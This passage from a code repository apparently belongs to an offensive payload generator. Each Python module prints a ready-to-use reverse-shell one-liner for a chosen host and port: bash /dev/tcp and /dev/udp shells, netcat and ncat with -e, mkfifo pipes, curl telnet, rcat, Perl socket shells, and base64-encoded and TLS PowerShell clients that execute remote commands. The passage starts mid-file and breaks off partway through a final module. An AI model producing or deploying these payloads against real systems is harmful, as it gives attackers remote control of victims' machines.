["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the direct TCP reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the direct TCP reverse shell command 50 | tcp_shell_command = ( 51 | f"0<&196;exec 196<>/dev/tcp/{lhost}/{lport}; sh <&196 >&196 2>&196" 52 | ) 53 | print(tcp_shell_command) 54 | -------------------------------------------------------------------------------- /modules/payloads/bash/bash5.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Bash TCP-based reverse shell tool 6 | metadata = { 7 | "name": "BashTCPShell Reverse Shell", 8 | "description": "A Bash-based reverse shell that uses TCP redirection to execute commands remotely, utilizing file descriptor manipulation.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Bash TCP reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the Bash TCP reverse shell command using file descriptor manipulation 50 | bash_command = f"sh -i 5<> /dev/tcp/{lhost}/{lport} 0<&5 1>&5 2>&5" 51 | print(bash_command) 52 | -------------------------------------------------------------------------------- /modules/payloads/bash/bash_i.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Metadata for a Bash TCP-based reverse shell tool 5 | metadata = { 6 | "name": "BashTCPShell Reverse Shell", 7 | "description": "A Bash-based reverse shell that uses /dev/tcp to execute commands remotely and redirect output.", 8 | "authors": ["DrDataYE"], 9 | "date": "2023-04-01", 10 | "license": "Custom Intellectual License", 11 | "references": [ 12 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 13 | {"type": "url", "ref": "https://revshells.com"}, 14 | ], 15 | "options": { 16 | "lhost": { 17 | "type": "address", 18 | "description": "Target host address for the reverse shell connection", 19 | "required": True, 20 | "default": "0.0.0.0", 21 | }, 22 | "lport": { 23 | "type": "int", 24 | "description": "Listening port on the target host for incoming TCP connections", 25 | "required": False, 26 | "default": 6501, 27 | }, 28 | "encode": { 29 | "type": "string", 30 | "description": "Encoding method for transmitted commands", 31 | "required": False, 32 | "default": "utf-8", 33 | }, 34 | }, 35 | } 36 | 37 | 38 | class Encoder: 39 | pass 40 | 41 | 42 | def run(args): 43 | """Execute the Bash TCP reverse shell command based on provided arguments""" 44 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 45 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 46 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 47 | 48 | # Generate the Bash TCP reverse shell command 49 | tcp_shell_command = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1" 50 | 51 | print(tcp_shell_command) 52 | -------------------------------------------------------------------------------- /modules/payloads/bash/bash_read_line.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Bash TCP-based command execution tool 6 | metadata = { 7 | "name": "TCPCommandExec Shell", 8 | "description": "A TCP-based command execution shell that reads and executes commands remotely using Bash and /dev/tcp.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the TCP connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming TCP connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the TCP command execution shell based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the TCP command execution script 50 | tcp_shell_command = f"exec 5<>/dev/tcp/{lhost}/{lport};cat <&5 | while read line; do $line 2>&5 >&5; done" 51 | print(tcp_shell_command) 52 | -------------------------------------------------------------------------------- /modules/payloads/bash/bash_udp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a UDP-based reverse shell tool 6 | metadata = { 7 | "name": "UDPBashShell Reverse Shell", 8 | "description": "A UDP-based reverse shell that executes commands remotely via Bash and /dev/udp.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming UDP connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the UDP reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the UDP reverse shell command 50 | udp_shell_command = f"sh -i >& /dev/udp/{lhost}/{lport} 0>&1" 51 | print(udp_shell_command) 52 | -------------------------------------------------------------------------------- /modules/payloads/linux/curl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Curl-based reverse shell tool 6 | metadata = { 7 | "name": "CurlShell Reverse Shell", 8 | "description": "A Curl-based reverse shell that establishes a connection to execute commands remotely via telnet.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "http", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Curl-based reverse shell based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the Curl-based reverse shell command 50 | powershell_script = f"C='curl -Ns telnet://{lhost}:{lport}'; $C &1 | sh 2>&1 | $C >/dev/null" 51 | print(powershell_script) 52 | -------------------------------------------------------------------------------- /modules/payloads/netcat/busybox_nx_e.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Busybox Netcat-based reverse shell tool 6 | metadata = { 7 | "name": "BusyboxNetcatShell Reverse Shell", 8 | "description": "A reverse shell utilizing Busybox Netcat to execute commands on the target host remotely.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | lhost = args.get("lhost", "0.0.0.0") 45 | lport = args.get("lport", 6501) 46 | encode = args.get("encode", "http") 47 | 48 | powershell_script = f"busybox nc {lhost} {lport} -e sh" 49 | print(powershell_script) 50 | -------------------------------------------------------------------------------- /modules/payloads/netcat/nc_c.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Netcat "sh" shell-based reverse shell tool 6 | metadata = { 7 | "name": "NetcatSHShell Reverse Shell", 8 | "description": "A Netcat-based reverse shell that uses a simple shell to execute commands on the remote host.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Netcat reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the Netcat reverse shell command 50 | netcat_command = f"nc -c sh {lhost} {lport}" 51 | print(netcat_command) 52 | -------------------------------------------------------------------------------- /modules/payloads/netcat/nc_e.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Netcat-based reverse shell tool 6 | metadata = { 7 | "name": "NetcatShell Reverse Shell", 8 | "description": "A Netcat-based reverse shell that establishes a remote command execution session using the simple Unix shell.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Netcat reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the Netcat reverse shell command 50 | netcat_command = f"nc {lhost} {lport} -e sh" 51 | print(netcat_command) 52 | -------------------------------------------------------------------------------- /modules/payloads/netcat/nc_mkfifo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Unix-based reverse shell using netcat and named pipes 6 | metadata = { 7 | "name": "NetcatPipeShell Reverse Shell", 8 | "description": "A Unix-based reverse shell that utilizes netcat and named pipes for remote command execution.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Unix reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the Unix reverse shell command using netcat and FIFO pipes 50 | unix_command = ( 51 | f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {lhost} {lport} >/tmp/f" 52 | ) 53 | print(unix_command) 54 | -------------------------------------------------------------------------------- /modules/payloads/netcat/ncat_e.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Netcat-based reverse shell tool 6 | metadata = { 7 | "name": "NetcatShell Reverse Shell", 8 | "description": "A simple Netcat-based reverse shell that establishes a remote command execution session.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Netcat reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the Netcat reverse shell command 50 | netcat_command = f"ncat {lhost} {lport} -e sh" 51 | print(netcat_command) 52 | -------------------------------------------------------------------------------- /modules/payloads/netcat/ncat_udp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Unix-based reverse shell tool 6 | metadata = { 7 | "name": "UnixShell Reverse Shell", 8 | "description": "A Unix-based reverse shell that uses named pipes and netcat to execute commands remotely.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Unix reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the Unix reverse shell command using netcat and FIFO pipes 50 | shell_command = ( 51 | f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u {lhost} {lport} >/tmp/f" 52 | ) 53 | print(shell_command) 54 | -------------------------------------------------------------------------------- /modules/payloads/netcat/rustcat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a shell-based connection tool 6 | metadata = { 7 | "name": "ShellConnect Reverse Shell", 8 | "description": "A simple command-line tool to establish a reverse shell connection using rcat, facilitating remote command execution.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the shell command to establish a reverse shell connection""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Generate the shell command using rcat for reverse shell 50 | shell_command = f"rcat connect -s sh {lhost} {lport}" 51 | print(shell_command) 52 | -------------------------------------------------------------------------------- /modules/payloads/perl/perl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Perl-based reverse shell tool 6 | metadata = { 7 | "name": "SignalShell Perl Reverse Shell", 8 | "description": "A Perl-based reverse shell that enables command execution from a remote location.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for the shell", 32 | "required": False, 33 | "default": "http", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def generate_perl_reverse_shell(host, port): 44 | """Generates a Perl reverse shell command""" 45 | return f"""perl -e 'use Socket;$i="{host}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");}};'""" 46 | 47 | 48 | def run(args): 49 | """Execute the Perl reverse shell based on provided arguments""" 50 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 51 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 52 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 53 | 54 | perl_script = generate_perl_reverse_shell(lhost, lport) 55 | print(perl_script) 56 | -------------------------------------------------------------------------------- /modules/payloads/perl/perl_on_sh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Perl-based reverse shell tool 6 | metadata = { 7 | "name": "SignalShell Perl Reverse Shell", 8 | "description": "A Perl-based reverse shell that connects to a specified host and port to execute commands remotely.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for the shell", 32 | "required": False, 33 | "default": "http", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def generate_perl_reverse_shell(host, port): 44 | """Generates a Perl reverse shell command using IO::Socket for remote execution""" 45 | return f"""perl -MIO -e '$p=fork; exit,if($p); $c=new IO::Socket::INET(PeerAddr,"{host}:{port}"); STDIN->fdopen($c,r); $~->fdopen($c,w); system$_ while<>;'""" 46 | 47 | 48 | def run(args): 49 | """Execute the Perl reverse shell based on provided arguments""" 50 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 51 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 52 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 53 | 54 | perl_script = generate_perl_reverse_shell(lhost, lport) 55 | print(perl_script) 56 | -------------------------------------------------------------------------------- /modules/payloads/powershell/base64_reverse_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import base64 5 | 6 | # Metadata الخاصة بأداة فحص FTP وتسجيل الدخول 7 | metadata = { 8 | "name": "Windows PowerShell outfile SignalShell", 9 | "description": "An Http based beacon-like reverse shell that writes and executes commands from disc", 10 | "authors": ["DrDataYE"], 11 | "date": "2023-04-01", 12 | "license": "CIL", 13 | "references": [ 14 | { 15 | "type": "url", 16 | "ref": ["https://github.com/t3l3machus/hoaxshell", "https://revshells.com"], 17 | }, 18 | ], 19 | "options": { 20 | "lhost": { 21 | "type": "address", 22 | "description": "Target address", 23 | "required": True, 24 | "default": "0.0.0.0", 25 | }, 26 | "lport": { 27 | "type": "int", 28 | "description": "FTP port", 29 | "required": False, 30 | "default": 6501, 31 | }, 32 | "encode": { 33 | "type": "string", 34 | "description": "Path to file with list of usernames", 35 | "required": False, 36 | "default": "http", 37 | }, 38 | }, 39 | } 40 | 41 | class Encoder: 42 | @staticmethod 43 | def base64_encode(data): 44 | return base64.b64encode(data.encode('utf-16le')).decode('ascii') 45 | 46 | def generate_payload(lhost, lport): 47 | # PowerShell payload 48 | script = f"""$client = New-Object System.Net.Sockets.TCPClient('{lhost}', {lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close();""" 49 | encoded_script = Encoder.base64_encode(script) 50 | return encoded_script 51 | 52 | 53 | 54 | def run(args): 55 | lhost = args.get("lhost", "0.0.0.0") 56 | lport = args.get("lport", 6501) 57 | encode = args.get("encode", "http") 58 | 59 | encoded_powershell_script = generate_payload(lhost, lport) 60 | executable_command = f"powershell -e {encoded_powershell_script}" 61 | print(executable_command) 62 | 63 | -------------------------------------------------------------------------------- /modules/payloads/powershell/reverse_shell_tls.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata الخاصة بأداة فحص FTP وتسجيل الدخول 6 | metadata = { 7 | "name": "Windows PowerShell outfile SignalShell", 8 | "description": "An Http based beacon-like reverse shell that writes and executes commands from disc", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "CIL", 12 | "references": [ 13 | { 14 | "type": "url", 15 | "ref": ["https://github.com/t3l3machus/hoaxshell", "https://revshells.com"], 16 | }, 17 | ], 18 | "options": { 19 | "lhost": { 20 | "type": "address", 21 | "description": "Target address", 22 | "required": True, 23 | "default": "0.0.0.0", 24 | }, 25 | "lport": { 26 | "type": "int", 27 | "description": "FTP port", 28 | "required": False, 29 | "default": 6501, 30 | }, 31 | "encode": { 32 | "type": "string", 33 | "description": "Path to file with list of usernames", 34 | "required": False, 35 | "default": "http", 36 | }, 37 | }, 38 | } 39 | 40 | 41 | class Encoder: 42 | pass 43 | 44 | 45 | def generate_secure_powershell_reverse_shell(lhost, lport): 46 | script = f"""$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('{lhost}', {lport});$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream, $false, ({{ $true }} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com', $null, $sslProtocols, $false);if (!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {{$SslStream.Close();exit}}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {{[byte[]]$script:Buffer = New-Object System.Byte[] 4096;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}};WriteToStream '';while (($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {{$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {{Invoke-Expression $Command 2>&1 | Out-String}} catch {{$_ | Out-String}}WriteToStream ($Output)}}$StreamWriter.Close();""" 47 | return script 48 | 49 | 50 | def run(args): 51 | lhost = args.get("lhost", "0.0.0.0") 52 | lport = args.get("lport", 6501) 53 | encode = args.get("encode", "http") 54 | 55 | powershell_script = 'powershell -e "' + generate_secure_powershell_reverse_shell( 56 | lhost, lport 57 | )+'"' 58 | print(powershell_script) 59 | -------------------------------------------------------------------------------- /modules/payloads/powershell/reverse_tcp_v1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata الخاصة بأداة فحص FTP وتسجيل الدخول 6 | metadata = { 7 | "name": "SignalShell PowerShell Reverse Shell", 8 | "description": "A PowerShell-based reverse shell that executes commands remotely and manages interaction over HTTP.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for the shell", 32 | "required": False, 33 | "default": "http", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | lhost = args.get("lhost", "0.0.0.0") 45 